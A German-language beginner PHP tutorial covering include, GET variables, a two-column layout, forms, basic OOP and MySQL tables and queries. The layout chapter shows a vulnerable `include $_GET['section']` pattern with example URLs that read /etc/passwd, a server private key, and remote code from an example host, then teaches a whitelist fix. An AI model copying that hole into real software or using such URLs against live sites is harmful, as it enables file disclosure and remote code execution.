Die include Anweisung liefern Standardmäßig den Integerwert 1 zurück. Dies ist auch eine häufige Fehlerquelle bei include von Anfängern. Diese schreiben in ihren Skripten Ausdrücke wie echo include 'news.php';. Neben der Tatsache dass das Newsskript geladen wird erhalten sie auch am eine in der Ausgabe eine zusätzliche 1 und wundern sich woher diese kommt. Daher auch der Hinweis dass echo include '....'; in seltenen Fällen Sinn ergibt.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

GET

  1. URL-Parameter
  2. Auslesen von GET-Variablen
  3. Gefahren von Außen

1. URL-Parameter

PHP-Skripte leben von Eingaben bzw. Daten die von Benutzer stammen. Diese Daten können über drei Wege in das Skript gelangen. Eine davon sind die URL-Parameter, auch GET-Variablen genannt. Diese Werte befinden sich in der URL und werden nach dem Pfad angegeben und mit einem ? getrennt. Beispiele für solche URLS mit GET-Variablen sind http://www.example.com/file.php?section=news oder http://www.example.com/dl.php?cat=5&id=3&view=false. Ein Anker (z.B. #top in http://www.example.com/datei.php#top) ist nicht mehr Bestandteil der GET-Variablen und wird nicht zum Server gesendet.

2. Auslesen von GET-Variablen

Alle GET-Variablen aus der URL werden in PHP im Array $_GET abgelegt. Dieses Array ist vordefiniert und auch vorhanden selbst wenn keine GET-Variablen übergeben wurden. Des Weiteren ist dies ein superglobal Array. Solche Variablen sind in jedem scope vorhanden und müssen daher nicht als Parameter an Funktionen übergeben werden. Der Name der GET-Variable dient dabei als Index für das Arrayelement im $_GET-Array. Aus der URL http://www.example.com/file.php?section=news&site=show erzeugt PHP die Arrayelemente 'section' => 'news' und 'site' => 'show'.

<?php
// bei einem Aufruf von file.php?section=news
echo $_GET['section']; // gibt 'news' aus
?>

Alle Werte der GET-Variablen sind Strings oder Arrays, selbst wenn sie z.B. nur aus Ziffern bestehen. Aus ?var=false&ID=4 wird einmal das Arrayelement mit dem Stringindex var mit dem 5 Zeichen langen String false (also kein bool(false)) und ein Arrayelement mit dem Stringindex ID mit dem 1 Zeichen langen String 4 erzeugt (also kein int(4)).

<?php
// bei einem Aufruf von file.php?var=false&ID=4
var_dump($_GET['var']); // gibt string(5) "false" aus
var_dump($_GET['ID']);  // gibt string(1) "4" aus
?>

Wenn der Name wie eine Arrayelement-Zuweisung aussieht verarbeitet PHP diese genauso. Aus ?foo[4]=bar wird im PHP-Skript $_GET['foo'][4] mit dem String bar gefüllt. Diese Technik wird häufig bei Formularen verwendet. Auch hierbei gilt dass die Werte am Ende wieder nur aus Arrays oder Strings bestehen.

3. Gefahren von Außen

Das $_GET-Array wird nur mit Variablen gefüllt die in der URL angegeben sind. Andersrum bedeutet dies auch wenn ein Wert nicht in der URL angegeben ist wird es auch nicht in $_GET erscheinen. Dies ist eine Überprüfung die in jedem Skript durchgeführt werden muss. Wenn versucht wird auf ein Arrayelement zuzugreifen welches nicht exisiert wird eine entsprechende Fehlermeldung ausgegeben.

<?php
echo $_GET['nicht_definiert'];
// Notice: Undefined index:  nicht_definiert in DATEI on line ZEILE
?>

Um so einen Fehler zu beheben könnte man einerseits einfach die Fehlermeldungen mit error_reporting ausschalten. Jedoch besser ist es wenn man vorher prüft ob externe Variablen auch vorhanden sind. Dies kann mit der isset Funktion überprüft werden.

<?php
if (isset($_GET['xyz'])) {
    echo 
"Die GET-Variable 'xyz' wurde gefunden und hat den Wert '".$_GET['xyz']."'.";
} else {
    echo 
"Es wurde keine GET-Variable 'xyz' angegeben.";
}
?>

Des Weiteren werden diese Variablen letztendlich vom Benutzer bestimmt, unabhängig davon ob er nur auf einen Link klickt oder nicht. Das heißt dass der Inhalt nicht vom PHP-Skript erstellt wurde. Dies gilt somit als Angreifpunkt. Daher sollte man externe Variablen wie GET-Variablen nie direkt ausgeben, geschweige denn als richtig oder gültig ansehen. Je nach dem was der Benutzer versucht zu hacken muss man entsprechend reagieren und prüfen. Wenn man eine Zahl erwartet, weil man z.B. einen speziellen Newsbeitrag wählen möchte (erkennbar an URLs die eine Zahl enthalten, wie z.B. show=news&newsid=5), sollte trotzdem überprüft werden ob der angegeben Wert auch wirklich eine Zahl ist. Bei Eingaben vom Benutzer die später ausgegeben werden muss überprüft werden ob sie z.B. schädlichen Javascript-Code enthalten. Solche Dinge lassen sich z.B. mit Funktionen wie htmlspecialchars entschärfen.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

2-Spalten-Layout

  1. 2-Spalten-Layout
  2. Bereiche Anhand einer GET-Variable laden

1. 2-Spalten-Layout

Die einzelne Bereiche einer Internetseite haben meist einen ähnlichen Aufbau zueinander. So gibt es z.B. stehts ein Menu und ein Bereich wo der eigentliche Inhalt/Content geladen wird. Dies wird üblicherweise mit den include-Anweisungen und einer Hauptdatei realisiert. Anhand einer GET-Variable wird gesteuert welcher Teil im Inhaltsbereich geladen werden soll.

Die Hauptdatei, meist mit dem Namen index.php, dient dazu die einzelnen ausgelagerten Teile einer HTML-Seite mit include oder readfile zu laden oder direkt mit echo HTML-Code auszugeben.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

include 
'header.html'// doctype, <html> und das komplette <head>-element
echo "    <body>\n";
include 
'menu.html';

// Bereich laden

echo "    </body>\n";
echo 
"</html>\n";
?>

Die header.html-Datei enthält dabei alles was zum Kopfbereich eines HTML-Dokuments gehört und die menu.html-Datei ein Menu mit den Links zu den einzelnen Bereichen.

2. Bereiche Anhand einer GET-Variable laden

Da eine GET-Variable die verschiedenen Bereiche unterscheiden muss stellt sich die Frage wie der Inhalt der GET-Variable einen spezifischen Bereich läd. Die erste Möglichkeit die einem einfallen würde wäre wenn mit der GET-Variable die Datei angegeben wird die geladen werden soll.

<?php
if (isset($_GET['section'])) {
    include 
$_GET['section'];
} else {
    include 
'news.php'// falls keine section angegeben ist lade standardmäßig die news
}
?>

So kann z.B. der Newsbereich mit der URL index.php?section=news.php oder das Gästebuch mit index.php?section=guestbook.php geladen werden. Wenn jedoch dieser Code verwendet werden ist dies das selbe als würde auf der Homepage die Zugangsdaten zum Server stehen. Ein sogenannter GET-Include ermöglicht wie man sieht ein PHP-Skript zu laden. Insbesondere können damit PHP-Skripte geladen werden die gar nicht dazu gedacht sind geladen zu werden. Über index.php?section=/etc/passwd könnte man z.B. die passwd Datei laden. Über index.php?section=/etc/apache2/ssl/server.key (entsprechende Leserechte vorrausgesetzt) kann ein privater Schlüssel ausgegeben werden. Was jedoch viel schlimmer ist dass über eine externer Seite fremder PHP-Code geladen werden kann. Funktionen wie include unterstützen auch das laden von URLs. Somit kann jemand die URL index.php?section=http://www.example.com/evil_code.txt aufrufen und das PHP-Skript läd den Code und führt ihn aus. Und wenn ein Besucher den Code vorschreiben kann den PHP ausführen soll ist es schon zu spät.

Eine bessere Möglichkeit besteht wenn die Menge der zu ladenen Dateien mehr eingeschränkt ist. Es gibt viele Möglichkeiten dies zu realisieren, wie z.B. das Verzeichnis überprüfen bzw. vorschreiben. Die sicherste Methode ist es alle gültigen Dateinamen in ein Array zu schreiben. Die Indizes geben dabei die Bereiche an die geladen werden sollen. Somit kann man über die GET-Variable bestimmen welche Datei geladen werden soll.

<?php
$section 
= array();
$section['news'] = 'news.php';
$section['gb'] = 'guestbook.php';
$section['info'] = 'info.php';
?>

Abhängig von der GET-Variable kann dann der entsprechende Dateinamen geladen werden.

<?php
include $section[$_GET['section']];
?>

Hierbei können noch 2 Indexfehler auftreten. Einmal kann der Benutzer eine URL aufrufen ohne section-Variable. Des Weiteren kann er ein Bereich angeben der nicht im Array vorkommen. Für beide Fälle muss eine entsprechende if-Abfrage eingebaut werden. Dafür eignet sich die Funktion isset.

<?php
if (isset($_GET['section'], $section[$_GET['section']])) {
    include 
$section[$_GET['section']];
} else {
    include 
$section['news'];
}
?>

Dieser Code kann nun in der index.php verwendet werden.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

$section = array();
$section['news'] = 'news.php';
$section['gb'] = 'guestbook.php';
$section['info'] = 'info.php';

include 
'header.html'// doctype, <html> und das komplette <head>-element
echo "    <body>\n";
include 
'menu.html';

if (isset(
$_GET['section'], $section[$_GET['section']])) {
    include 
$section[$_GET['section']];
} else {
    include 
$section['news'];
}

echo 
"    </body>\n";
echo 
"</html>\n";
?>

Ein neuer Bereich kann dann einfach dem $section-Array hinzugefügt werden.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Formulare

  1. Was sind Formulare?
  2. Formulare in HTML-Dokumenten
  3. Verarbeitung in PHP
  4. Texteingabefelder
  5. Dropdownlisten
  6. Radio- und Checkboxen
  7. Traue niemanden
  8. Magic Quotes

1. Was sind Formulare?

Viele Internetseiten bieten Bereiche an in denen ein Text eingegeben oder eine Auswahl getroffen werden kann. Danach muss man dann üblicherweise auf einen Buttom Absenden klicken. Solche Stellen werden Formulare genannt. Dabei werden die Eingaben und Auswahlfelder an ein PHP-Skript gesendet. Dieses PHP-Skript kann dann darauf entsprechend reagieren, wie z.B. einen neuen User hinzufügen oder ein Newsbeitrag bearbeiten.

2. Formulare in HTML-Dokumenten

Wie bekannt werden Formulare mit dem HTML-Element <form> erzeugt. Das action-Attribut gibt dabei die URL an, an der das Formular gesendet werden soll, in unserem Fall also stehts ein PHP-Skript. Dieses Skript wird dann mit den Daten des Formulars aufgerufen, es wird also zu dieser Seite weitergeleitet.

Mit dem method-Attribut gibt man an auf welcher Art und Weise die Formulardaten gesendet werden. Mit dem Wert get wird die URL mit der GET-Methode aufgerufen. Dies entspricht einem normalen Aufruf wie die Eingabe einer URL im Browser. Die Daten aus dem Formular werden dabei an die URL angehängt. Da bei dieser Variante die URL mit den ganzen Daten überladen wirkt (abgesehen davon dass jede Eingabe, auch Passwörter, sichtbar ist) wird üblicherweise der Wert post für das Attribut verwendet. Hierbei werden die Formulardaten versteckt in dem HTTP-Request übermittelt. Die Daten selbst bleiben zwar weiterhin lesbar (sind also nicht verschlüsselt oder ähnliches), sind aber für den Benutzer nicht zu sehen. So wird z.B. die URL http://www.example.com/login.php für den Benutzer normal aufgerufen, die Formulardaten werden dabei versteckt übermittelt.

3. Verarbeitung in PHP

Damit auf die Formularfelder in PHP zugegriffen werden kann müssen alle Formularfelder ein name-Attribut besitzen. Im PHP-Skript sind die Formulardaten dann in den Superglobalen Arrays $_GET oder $_POST abgelegt, je nach dem welche Methode im method-Attribut angegeben wurde. Der Schlüssel eines Arrayelements ist dabei der gewählte Namen im Formular, der Wert des Arrayelements wird dann mit dem Wert des Formularelements gefüllt.

Der Name des Formularfeldes kann dabei ein Arrayelement beschreiben. Wenn das Attribute name="foobar[5]" verwendet wird so erzeugt PHP automatisch das passende Array $_POST['foobar'][5] mit dem entsprechenden Wert. Wenn der Index weggelassen wird (name="foobar[]") wird auch ein Arrayelement erzeugt, so als würde man in PHP $array[] = "wert"; schreiben. Dies wird bei Checkboxen verwendet, wo alle Werte von den Checkboxen in ein Array gespeichert werden.

4. Texteingabefelder

Für einzeilige Texteingabefelder wird das HTML-Element <input> verwendet. Für einfache Texteingaben wird das Attribute type="text" verwendet, für Passworteingaben wird das Attribut type="password" verwendet. Für mehrzeilige Texteingaben (wie z.B. Formularbeiträgen) wird hingegen das <textarea>-Element verwendet.

<form action="script.php" method="post">
    <fieldset>
        <legend>Logindaten eingeben</legend>
        <label>Benutzername: <input type="text" name="Username" /></label>
        <label>Password: <input type="text" name="Pass" /></label>
        <input type="submit" name="formaction" value="Einloggen" />
    </fieldset>
</form>

Wenn das Formular abgeschickt wird erzeugt das PHP-Skript das folgende $_POST-Array.

<?php
$_POST
['Username'] = /* Eingabe vom Username-Feld */;
$_POST['Pass'] = /* Eingabe vom Password-Feld */;
$_POST['formaction'] = 'Einloggen'// der Wert wurde durch value="" vorgeschrieben.
?>

5. Dropdownlisten

Dropdownlisten werden mit dem HTML-Elementen <select> und <option> erzeugt. Wenn das Attribut multiple="multiple" verwendet wird sollte der Name der Dropbox auf [] enden, damit für alle gewählten Listeneinträge entsprechend ein Arrayelement erzeugt wird.

<form action="script.php" method="post">
    <fieldset>
        <legend>Formular für Foobar</legend>
        <label>Name: <select name="Benutzername">
            <option value="1">Blabli</option>
            <option value="4">Testuser</option>
        </select></label>
        <label>Rechte: <select name="Rechte[]" multiple="multiple" size="5">
            <option value="1">News</option>
            <option value="2">Forum</option>
            <option value="3">Gästebuch</option>
        </select></label>
        <input type="submit" name="formaction" value="Abschicken" />
    </fieldset>
</form>

Wenn in dem Formular der Benutzer Blabli und die Rechte News und Gästebuch ausgewählt werden so werden im PHP-Skript folgende Arrayelemente erzeugt.

<?php
$_POST
['Benutzername'] = "1";
$_POST['Rechte'][] = "1";  // also $_POST['Rechte'][0] = "1"
$_POST['Rechte'][] = "3";  // also $_POST['Rechte'][1] = "3"
$_POST['formaction'] = "Abschicken";
?>

6. Radio- und Checkboxen

Für Radio- und Checkboxen werden <input>-Elemente verwendet. Je nach dem welchen Typ man haben möchte wählt man type="radio" oder type="checkbox". Damit die Radiobuttons bzw. die Checkboxen genau so funktionieren soll wie man es erwartet sollten die Radiobuttons bzw. die Checkboxen den selben Namen besitzen. Bei Checkboxen sollte der Name wieder auf [] enden damit für jede Auswahl ein Arrayelement erzeugt wird, sonst würde nur die letzte Auswahl in PHP gespeichert werden.

<form action="script.php" method="post">
    <fieldset>
        <legend>Pizza auswählen</legend>
        <fieldset>
            <legend>Größe</legend>
            <label><input type="radio" name="Size" value="20" /> Klein</label>
            <label><input type="radio" name="Size" value="24" /> Mittel</label>
            <label><input type="radio" name="Size" value="30" /> Groß</label>
        </fieldset>
        <fieldset>
            <legend>Belag</legend>
            <label><input type="checkbox" name="Belag[]" value="Schinken" /> Schinken</label>
            <label><input type="checkbox" name="Belag[]" value="Salami" /> Salami</label>
            <label><input type="checkbox" name="Belag[]" value="Thunfisch"> Thunfisch</label>
        </fieldset>
        <input type="submit" name="formaction" value="Bestellen" />
    </fieldset>
</form>

Wenn hier eine mittlere Pizza mit Schinken und Thunfisch ausgewählt wird so werden im PHP-Skript folgende Arrayelemente erzeugt.

<?php
$_POST
['Size'] = "24";
$_POST['Belag'][] = "Schinken";
$_POST['Belag'][] = "Thunfisch";
$_POST['formaction'] = "Bestellen";
?>

Wenn bei den Formularfeldern für Radio- und Checkboxen keine Wert angegeben werden so wird bei einem ausgewählten Feld der Wert on übergeben. Wenn das Element nicht ausgewählt wird (wie hier die Zutat Salami) wird gar nichts gesendet.

7. Traue niemanden

Wie bei GET-Variablen kommen bei einem Formular die Daten von außen in das PHP-Skript. Daher können diese Variablen mit jeden beliebigen Wert gefüllt werden, oder auch gar nicht erst gesendet werden. In den PHP-Skripten muss entsprechend darauf geachtet werden ob die Variablen gefüllt sind und mit was. Um zu gucken ob ein Formularfeld vorhanden war kann man wie gewohnt die isset-Funktion verwenden und damit die Arrayelemente vom $_POST-Array prüfen. Somit kann man schonmal prüfen ob alle Formularelemente in dem Formular vorhanden waren.

<?php
if (!isset($_POST['name'], $_POST['password'])) {
    die (
'Benutzen sie nur Formulare von der Homepage.');
}
?>

Der Inhalt kann dann mit String-Funktionen überprüft werden.

8. Magic Quotes

Wenn die (Text-)Daten aus dem Formular an das PHP-Skript gesendet werden kann es sein dass diese Daten, je nach Inhalt, leicht verändert werden. So wird aus dem Text Ein Text mit einem ' und einem " der Text Ein Text mit einem \' und einem \". Dieses Verhalten wird Magic Quotes genannt. Damit werden Anfänger unter die Arme gegriffen die Texteingaben ungeprüft in SQL-Queries verwenden.

Dieses Verhalten kann jedoch störend sein, insbesonde dann wenn Texte wie Ein Text mit einem \\\\\\\' und einem \\\\\\\" entstehen, da man nicht weiß wie man mit magic quotes richtig umgeht. Daher löschen wir diese Backslashes mit stripslashes wieder falls magic quotes aktiviert ist. Dies geht am sichersten mit folgendem Programmcode.

<?php
if (get_magic_quotes_gpc()) {
    
$in = array(&$_GET, &$_POST, &$_COOKIE);
    while (list(
$k,$v) = each($in)) {
        foreach (
$v as $key => $val) {
            if (!
is_array($val)) {
                
$in[$k][$key] = stripslashes($val);
                continue;
            }
            
$in[] =& $in[$k][$key];
        }
    }
    unset(
$in);
}
?>

Diesen PHP-Code von http://talks.php.net/show/php-best-practices/26 muss man nicht verstehen aber er sorgt dafür dass in den $_GET-, $_POST- und $_COOKIE-Arrays die Backslashes gelöscht werden die durch magic quotes entstanden sind. Diesen Code werden wir dann für unsere Skripte verwenden.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Klassen benutzen

  1. Was ist OOP?
  2. Objekte aus einer Klasse erstellen
  3. Arbeiten mit einem Objekt
  4. Konstruktoren
  5. Destruktoren

1. Was ist OOP?

OOP ist die Abkürzung von Objektorientiertes Programmieren und beschreibt ein Paradigma in dem Programmcode zusammengepackt wird und eine Einheit bilden. Diesen Programmcode nennt man dann eine Klasse, die einen Namen bekommt. Von dieser Klasse erstellt bzw. instanziiert man Objekte. Die einfachste Umschreibung eines Objektes: Ein Array mit Funktionen. Auch wenn diese Umschreibung nicht alles umschreibt was mit Klassen und den dazugehörigen Objekten möglich ist, ist diese Umschreibung für einen Anfänger der einfachste Einstieg in OOP. Objekte besitzen intern eine Anzahl von vorher definierten Variablen die zusammen den aktuellen Zustand des Objekts beschreiben (daher auch "Ein Array [...]"). Des Weiteren existieren Funktionen in diesem Objekt die mit diesen Werten arbeiten können (daher auch "[...] mit Funktionen"). Diese Funktionen werden in OOP dann Methoden genannt. Obwohl es im Bereich OOP deutlich mehr zu erklären gibt reicht dieses Wissen erstmal um mit Klassen in PHP zu arbeiten. Wenn es dann aber darum geht eigene Klassen zu schreiben, ja dann beginnt der Spaß mit Kapselung, Vererbung, Entwurfsmuster und und und ...

2. Objekte aus einer Klasse erstellen

Klassen werden für Anfänger auch als Schablone bezeichnet. In den Programmiersprachen ist es dann Möglich aus einer Klasse ein Objekt dieser Klasse zu erzeugen. In PHP wird dafür das Schlüsselwort new verwendet. Hinter dem Schlüsselwort wird die Klasse angegeben von der wir ein Objekt erzeugen wollen.

<?php
$obj 
= new DateTime();
?>

Dieser Programmcode erstellt ein neues DateTime-Objekt und speichert in der Variable $obj ein Verweis auf dieses Objekt. Die Variable selbst enthält also nicht das Objekt selbst sondern nur eine Referenz auf dieses Objekt. Mit var_dump können wir uns dieses Objekt mal angucken.

<?php
$obj 
= new DateTime();
var_dump($obj);
?>

Die Ausgabe sieht wie folgt aus.

object(DateTime)#1 (0) {
}

Falls das Objekt öffentliche Attribute hat (die wir oben mit Arrayelement verglichen haben) werden diese wie bei einem var_dump mit einem Array angezeigt. Die Klasse DateTime hat jedoch keine öffentliche Attribute (und das ist auch gut so, aber das ist ein anderes Thema...).

3. Arbeiten mit einem Objekt

Wenn wir nun ein Objekt instanziiert haben möchten wir nun auch damit arbeiten. Dafür wird der ->-Operator verwendet. Links steht dabei die Variable die auf das Objekt zeigt, rechts die Methode oder die Eigenschaft/das Attribut auf welches man zugreifen möchte. Als Beispiel rufen wir die format()-Methode auf (date_format).

<?php
$obj 
= new DateTime();
echo 
$obj->format('H:i:s');
?>

Es ist klar das hier auch ein einfacher date-Aufruf, oder besser sogar ein strftime-Aufruf reicht, aber wir wollen ja lernen wie man mit Objekten rumhantiert.

4. Konstruktoren

Beim Erstellen eines Objektes wird eine spezielle Methode, der Konstruktor, aufgerufen. Dieser dient dazu beim instanziieren des Objektes die Attribute zu initialisieren. Beim DateTime-Objekt wird z.B. die Zeitzone und der aktuelle Zeitpunkt im Objekt gespeichert. Konstruktoren sind fast normal Methoden und können entsprechend auch Parameter besitzen. In der Funktionsbeschreibung von date_create sind diese z.B. für die DateTime-Klasse beschrieben.

<?php
$obj 
= new DateTime("-1 day");
?>

5. Destruktoren

Destruktoren sind spezielle Methoden die aufgerufen werden wenn die letzte Referenz auf ein Objekt gelöscht wurde. Da es keine Möglichkeit mehr gibt das Objekt zu erreichen sorgt PHP dafür dass der Destruktor aufgerufen wird und löscht dann das Objekt selbst. Destruktoren dienen dazu das Objekt sauber zu löschen, so kann ein Objekt was mit der Datenbank arbeitet im Destruktor die Datenbankverbindung beenden bevor es dann gelöscht wird.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

MySQL

  1. Aufbau einer MySQL-Datenbank

1. Aufbau einer MySQL-Datenbank

Was immer auch ein PHP-Skript verarbeitet früher oder später müssen Daten für weitere Skriptaufrufe abgespeichert werden. Variableninhalte sterben mit dem Ende des Skriptaufrufs und verschwinden aus dem Speicher. Um Daten abzuspeichern können diese Beispielsweise in eine Datei abgelegt werden. Das PHP-Skript öffnet dabei eine Datei und schreibt die Daten in das Skript rein, so als würde ein Benutzer mit einem Texteditor eine Datei bearbeiten. In PHP kann dies jedoch aufwendig werden, da die Daten mehr oder weniger einfach so in der Datei liegen. Bei großen Inhalten heißt dies die richtige Stelle zu suchen und die entsprechenden Daten auszulesen bzw. zu bearbeiten. So könnte z.B. ein Gästebuch implementiert werden, wo die einzelnen Gästebucheinträge in einer Datei abgelegt werden.

User|20. Jan 2008|Echt gute Seite
User2|11. Feb 2008|Hallo Paul, wie gehts?
User3|13. Feb 2008|Coole Seite. Besuch auch mal meine Homepage

Jede Zeile wäre dann ein einzelner Gästebucheintrag und das Zeichen | dient als Trennzeichen um den Benutzernamen, das Schreibdatum und den eigentlichen Text zu trennen. Das PHP-Skript zum Anzeigen hangelt sich nun durch die Datei und liest die Zeilen aus und trennt die Inhalte mit explode an den |-Zeichen.

Bei der Verwendung einer relationalen Datenbank wie MySQL wird ein anderer Weg eingeschlagen. Die Daten werden dabei nicht in Dateien abgelegt sondern in eine Tabelle. Pro Eintrag für diese Tabelle wird eine Zeile angelegt, der auch Datensatz genannt wird. Ein Gästebucheintrag würde sich als Zeile bzw. Datensatz in dieser Tabelle wiederfinden. MySQL-Datenbanken verwenden folgenden Aufbau.

Für die Verwendung einer MySQL-Datenbank werden in PHP vier Angaben benötigt. Diese werden entsprechend vom Webhoster bzw. Administrator mitgeteilt.

  1. Host - Mit dem Host wird der Rechner angegeben auf dem der MySQL-Server installiert ist. Dies kann z.B. ein anderer Rechner sein, der z.B. über db23.example.com erreichbar ist, kann jedoch auch der gleiche Rechner sein auf dem der Webserver läuft. In diesem Fall wird localhost als Host verwendet.

  2. Username - Der Benutzername zum Einloggen in die Datenbank.

  3. Password - Das Password in Verbindung mit dem Benutzernamen.

  4. Database - Die Datenbank in dieser der Kunde arbeiten darf. Eine Webanwendung benutzt dabei nur Tabellen aus dieser Datenbank.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

MySQL / Tabellen

  1. Aufbau von Tabellen in MySQL
  2. Typen von Spalten
  3. Erstellen von MySQL-Tabellen

1. Aufbau von Tabellen in MySQL

In MySQL werden Daten in Tabellen in Form von Datensätzen abgespeichert. Damit eine solche Tabelle identifiziert werden kann besitzen alle Tabellen einen Namen. Des Weiteren gehören zu einer Tabelle eine Anzahl von Spaltennamen und den dazugehörigen Spaltentypen. So kann z.B. die Tabelle News eine Spalte Datum vom Typ DATETIME enthalten. Somit besitzt jeder Datensatz ein Wert für die Spalte Datum der vom Typ DATETIME ist.

Tabelle News
Datum

2. Typen von Spalten

MySQL unterstützt eine Menge von Spaltentypen. Aus dieser großen Menge ist es somit möglich den richtigen Spaltentyp zu wählen der den Anforderungen der Spalte entspricht. Eine Zahl wird daher am besten in einem INT Feld gespeichert, ein längerer Text in einem TEXT Feld. Eine komplette Liste von Spaltentypen ist im MySQL-Handbuch im Kapitel Chapter 9. Data Types zu finden. Hier eine kleine Auswahl von Spaltentypen.

3. Erstellen von MySQL-Tabellen

Um Tabellen in MySQL zu erstellen wird der SQL-Befehl CREATE TABLE verwendet. Dabei wird zuerst ein Tabellenname angegeben. Hierbei darf der Tabellennamen nicht aus einem MySQL Schlüsselwort bestehen. Danach folgt in Klammern eine Aufzählen von Spalten, die untereinander mit einem Kommata getrennt sind. Jede Spaltenangabe besteht dabei aus den Namen und den Typ der Spalte, kann aber auch zusätzliche Optionen wie NOT NULL, PRIMARY KEY und AUTO_INCREMENT besitzen. Wie jeder SQL-Befehl muss auch ein CREATE TABLE mit einem Semikolon abgeschlossen werden. Ein Beispielquery für das erstellen einer Tabelle könnte wie folgt aussehen.

CREATE TABLE News (
    ID INT AUTO_INCREMENT PRIMARY KEY,
    Autor VARCHAR(30) NOT NULL,
    Titel VARCHAR(50) NOT NULL,
    Inhalt TEXT NOT NULL,
    Datum DATETIME NOT NULL
);

Beachtet dass es sich hierbei um einen SQL-Befehl handelt. Er kann so nicht direkt im PHP-Code verwendet werden. Um ein Befehl an eine Datenbank zu senden müssen entsprechende Funktionen wie mysql_query oder mysqli_query verwendet werden.

Die NOT NULL-Angaben bewirken dass ein Datensatz an dieser Stelle ein Wert besitzen muss. Dieser Query erstellt dabei folgende Tabelle.

Tabelle News
ID Autor Titel Inhalt Datum

Da die Tabelle gerade erst erstellt wurde existieren entsprechend auch noch keine Datensätze.

Achtet darauf welche Groß- und Kleinschreibung ihr für eure Tabellen und Spaltennamen verwendet. Das MySQL-Handbuch schreibt dazu folgendes.

Each table within a database corresponds to at least one file within the database directory (and possibly more, depending on the storage engine). Triggers also correspond to files. Consequently, the case sensitivity of the underlying operating system plays a part in the case sensitivity of database and table names. This means database, table, and trigger names are not case sensitive in Windows, but are case sensitive in most varieties of Unix.

Daher empfiehlt das MySQL-Handbuch stehts die gleiche Schreibweise für Tabellen und Spalten in SQL-Queries zu verwenden (wie z.B. immer Kleinbuchstaben).

[...] To avoid problems caused by such differences, it is best to adopt a consistent convention, such as always creating and referring to databases and tables using lowercase names. This convention is recommended for maximum portability and ease of use.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

MySQL / Datensätze hinzufügen

  1. Datensätze hinzufügen

1. Datensätze hinzufügen

Nachdem die Tabelle mit den Spalten erstellt wurde kann mit dieser gearbeitet werden. Um nun einen Datensatz in die Tabelle hinzuzufügen wird der INSERT INTO Befehl verwendet. Nach den Schlüsselwörter INSERT INTO gibt man die Tabelle an in der man ein neuen Datensatz hinzufügen will. Danach kommen in Klammern und untereinander mit Kommatas getrennt eine Liste von Spaltennamen zu denen man später die Werte angibt, die man in den neuen Datensatz speichern will. Spalten die hier nicht aufgeführt sind werden mit einem Standardwert belegt. So enthalten INT-Werte Standardmäßig eine 0, falls nichts anderes angegeben ist. Nach den Spaltennamen steht das Schlüsselwort VALUES. Nun werden die Werte, auch wieder in Klammern und mit Kommatas getrennt, angegeben. Wie in PHP müssen dabei auch Strings in Quotes angegeben werden.

Als Beispiel fügen wir einen Datensatz hinzu ohne irgendwelche Werte anzugeben.

INSERT INTO
    News()
VALUES
    ();

Dieser SQL-Query füllt die Tabelle News mit folgendem Datensatz.

Tabelle News
ID Autor Titel Inhalt Datum
1 0000-00-00 00:00:00

Hier sieht man dass die ID-Spalte automatisch den Wert 1 bekommen hat. Die Werte für Autor, Titel und Inhalt sind jeweils ein leerer String. In der Datum-Spalte ist der (ungültige) Zeitpunkt 0000-00-00 00:00:00. gespeichert. Als Beispiel fügen wir nun einen richtigen Datensatz ein.

INSERT INTO
    News(Autor, Titel, Inhalt, Datum)
VALUES
    ("Ich",
     "Meine erste News",
     "Hiermit teste ich wie man Datensätze in MySQL einfügt",
    NOW());

Hier sieht man einmal dass nur 4 der 5 Spalten angegeben wurde da die ID-Spalte automatisch den nächsten AUTO_INCREMENT-Wert zugewiesen bekommt. Außerdem wurde für die Spalte Datum der Wert NOW() angegeben. Dies ist eine MySQL-Funktion die den aktuellen Zeitpunkt zurückliefert. Dieser wird dann in die Datum-Spalte gespeichert. Wenn der Query nun ausgeführt wird könnte z.B. folgender Datensatz hinzugefügt werden.

Tabelle News
ID Autor Titel Inhalt Datum
1 0000-00-00 00:00:00
2 Ich Meine erste News Hiermit teste ich wie man Datensätze in MySQL einfügt 2008-08-17 14:02:08

Diese Tabelle hat nun 2 Datensätze gespeichert.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

MySQL / Werte ausgeben

  1. Werte ausgeben
  2. SELECT-Query einrücken

1. Werte ausgeben

Wenn nun die Tabellen mit Datensätzen gefüllt sind wäre es auch wünschenswert wenn diese Datensätze ausgelesen werden können. Dazu wird der MySQL-Befehl SELECT verwendet. Der SELECT-Befehl hat eine sehr hohe Anzahl an Parametern. Unabhängig wie der SELECT-Befehl nun aussieht und was er ausrechnet ist das Ergebnis immer eine Tabelle, auch Ergebnistabelle oder result set genannt. Diese Ergenistabelle besitzt, je nach SELECT-Anfrage, N Spalten und M Zeilen wobei auch 0 Zeilen möglich sind. Jede Spalte in der Ergebnistabelle besitzt einen Namen mit der man auf die entsprechende Spalte zugreifen kann.

Als einfachen SELECT-Befehl lassen wir uns Werte zurückliefen ohne erstmal auf eine Tabelle zuzugreifen. Dabei schreiben wir hinter dem SELECT-Schlüsselwort die Werte hin die wir auslesen wollen. Mehrere Werte trennen wir dabei mit Kommatas. Die Werte können konstante Werte sein, können aber auch Funktionsaufrufe sein.

SELECT NOW(), "Foobar", 6;

Dieser Query erzeugt eine Ergebnistabelle mit 3 Spalten und einer Zeile.

Ergebnistabelle vom SQL-Query
NOW() Foobar 6
2008-08-17 14:31:10 Foobar 6

Die Spalten haben die Namen NOW(), Foobar und 6. Wie man sieht enthält der (einzige) Datensatz in der Ergebnistabelle in der Spalte NOW() den Wert von der Funktion zum Zeitpunkt als der Query ausgeführt wurde.

Die Spaltennamen heißen so wie die Werte in dem SELECT-Query. Um andere Namen zu verwenden wird der AS ...-Ausdruck verwendet, wobei ... der neue Name der Spalte ist. Er wird einfach hinter dem Wert angehängt zu er ein neue Name festgelegt werden soll.

SELECT NOW() AS Jetzt, "Foobar" AS Username, 6 AS Level;
Ergebnistabelle vom SQL-Query
Jetzt Username Level
2008-08-17 14:37:22 Foobar 6

